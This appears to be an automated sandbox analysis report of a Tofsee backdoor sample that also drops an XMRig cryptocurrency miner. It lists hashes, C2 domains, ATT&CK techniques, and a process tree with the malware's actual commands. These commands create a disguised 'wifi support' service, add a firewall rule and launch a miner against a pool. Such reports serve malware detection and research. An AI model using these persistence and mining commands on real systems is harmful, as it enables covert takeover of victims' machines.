Analysis

  • max time kernel
    69s
  • max time network
    97s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-05-2023 01:37

General

  • Target

    0967dfa48bd1d2d0e282f762e9be80315cc6ea75b6e1b34d73f066c47ab46612.exe

  • Size

    318KB

  • MD5

    b101be318ab44ddbbabf025ef02e9a29

  • SHA1

    0e3d67a5c6f97f6f1d23a9540336b3ded4eaa13f

  • SHA256

    0967dfa48bd1d2d0e282f762e9be80315cc6ea75b6e1b34d73f066c47ab46612

  • SHA512

    79533d9d92770221a5631f942d48f893ec5cf0d3c8af899465b2cc4b4b92da5c3787cc65425c34d026fcb646b08348dd68ec14a3c9f56cdd914591594f8aa001

  • SSDEEP

    3072:TpXtNfDL3hmn5585BYMpYEvLDWPS5Z2wg3z2zxBUb5EpMYNY0lKRfeJ:RnLL3h45VMpYi2czjlpxPcQJ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0967dfa48bd1d2d0e282f762e9be80315cc6ea75b6e1b34d73f066c47ab46612.exe
    "C:\Users\Admin\AppData\Local\Temp\0967dfa48bd1d2d0e282f762e9be80315cc6ea75b6e1b34d73f066c47ab46612.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4284
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hsmhwktx\
      2⤵
        PID:4744
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lohssbcc.exe" C:\Windows\SysWOW64\hsmhwktx\
        2⤵
          PID:4040
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hsmhwktx binPath= "C:\Windows\SysWOW64\hsmhwktx\lohssbcc.exe /d\"C:\Users\Admin\AppData\Local\Temp\0967dfa48bd1d2d0e282f762e9be80315cc6ea75b6e1b34d73f066c47ab46612.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1744
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hsmhwktx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4948
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hsmhwktx
          2⤵
          • Launches sc.exe
          PID:3352
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2056
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4284 -s 1036
          2⤵
          • Program crash
          PID:2252
      • C:\Windows\SysWOW64\hsmhwktx\lohssbcc.exe
        C:\Windows\SysWOW64\hsmhwktx\lohssbcc.exe /d"C:\Users\Admin\AppData\Local\Temp\0967dfa48bd1d2d0e282f762e9be80315cc6ea75b6e1b34d73f066c47ab46612.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2500
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2760
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1516
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2500 -s 516
          2⤵
          • Program crash
          PID:3684
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4284 -ip 4284
        1⤵
          PID:2124
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2500 -ip 2500
          1⤵
            PID:3096

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\lohssbcc.exe
            Filesize

            13.0MB

            MD5

            2a668f83619d408e21ac765a29107335

            SHA1

            101e81ee0b836009015048e8093d62f49f4cfd0d

            SHA256

            2f6b84af8703b3234a77dfbe6d9bc914a063a617e633bf92963930776834db1b

            SHA512

            2f751cf55fc238bab11f5a220368551bd40f59ac8c1fb1a7292d632d9c8cb505d5e9d22f60f462e8e63c6dce8188c05f18335cf9119e0224f87f4bb3ad8140bd

          • C:\Windows\SysWOW64\hsmhwktx\lohssbcc.exe
            Filesize

            13.0MB

            MD5

            2a668f83619d408e21ac765a29107335

            SHA1

            101e81ee0b836009015048e8093d62f49f4cfd0d

            SHA256

            2f6b84af8703b3234a77dfbe6d9bc914a063a617e633bf92963930776834db1b

            SHA512

            2f751cf55fc238bab11f5a220368551bd40f59ac8c1fb1a7292d632d9c8cb505d5e9d22f60f462e8e63c6dce8188c05f18335cf9119e0224f87f4bb3ad8140bd

          • memory/1516-189-0x0000000000800000-0x00000000008F1000-memory.dmp
            Filesize

            964KB

          • memory/1516-200-0x0000000000800000-0x00000000008F1000-memory.dmp
            Filesize

            964KB

          • memory/1516-198-0x0000000000800000-0x00000000008F1000-memory.dmp
            Filesize

            964KB

          • memory/1516-199-0x0000000000800000-0x00000000008F1000-memory.dmp
            Filesize

            964KB

          • memory/1516-197-0x0000000000800000-0x00000000008F1000-memory.dmp
            Filesize

            964KB

          • memory/1516-196-0x0000000000800000-0x00000000008F1000-memory.dmp
            Filesize

            964KB

          • memory/1516-195-0x0000000000800000-0x00000000008F1000-memory.dmp
            Filesize

            964KB

          • memory/1516-194-0x0000000000800000-0x00000000008F1000-memory.dmp
            Filesize

            964KB

          • memory/2500-143-0x00000000024E0000-0x00000000024F3000-memory.dmp
            Filesize

            76KB

          • memory/2500-145-0x0000000000400000-0x000000000236D000-memory.dmp
            Filesize

            31.4MB

          • memory/2760-166-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-175-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-157-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-160-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-161-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-162-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-163-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-164-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-165-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-167-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-139-0x0000000000790000-0x00000000007A5000-memory.dmp
            Filesize

            84KB

          • memory/2760-168-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-169-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-170-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-171-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-172-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-173-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-154-0x0000000002810000-0x0000000002816000-memory.dmp
            Filesize

            24KB

          • memory/2760-176-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-174-0x0000000002820000-0x0000000002830000-memory.dmp
            Filesize

            64KB

          • memory/2760-177-0x00000000031D0000-0x00000000031D5000-memory.dmp
            Filesize

            20KB

          • memory/2760-180-0x00000000031D0000-0x00000000031D5000-memory.dmp
            Filesize

            20KB

          • memory/2760-181-0x0000000007D00000-0x000000000810B000-memory.dmp
            Filesize

            4.0MB

          • memory/2760-184-0x0000000007D00000-0x000000000810B000-memory.dmp
            Filesize

            4.0MB

          • memory/2760-185-0x00000000031E0000-0x00000000031E7000-memory.dmp
            Filesize

            28KB

          • memory/2760-153-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/2760-150-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/2760-149-0x0000000000790000-0x00000000007A5000-memory.dmp
            Filesize

            84KB

          • memory/2760-147-0x0000000000790000-0x00000000007A5000-memory.dmp
            Filesize

            84KB

          • memory/2760-146-0x0000000000790000-0x00000000007A5000-memory.dmp
            Filesize

            84KB

          • memory/2760-144-0x0000000000790000-0x00000000007A5000-memory.dmp
            Filesize

            84KB

          • memory/4284-141-0x0000000000400000-0x000000000236D000-memory.dmp
            Filesize

            31.4MB

          • memory/4284-134-0x00000000025C0000-0x00000000025D3000-memory.dmp
            Filesize

            76KB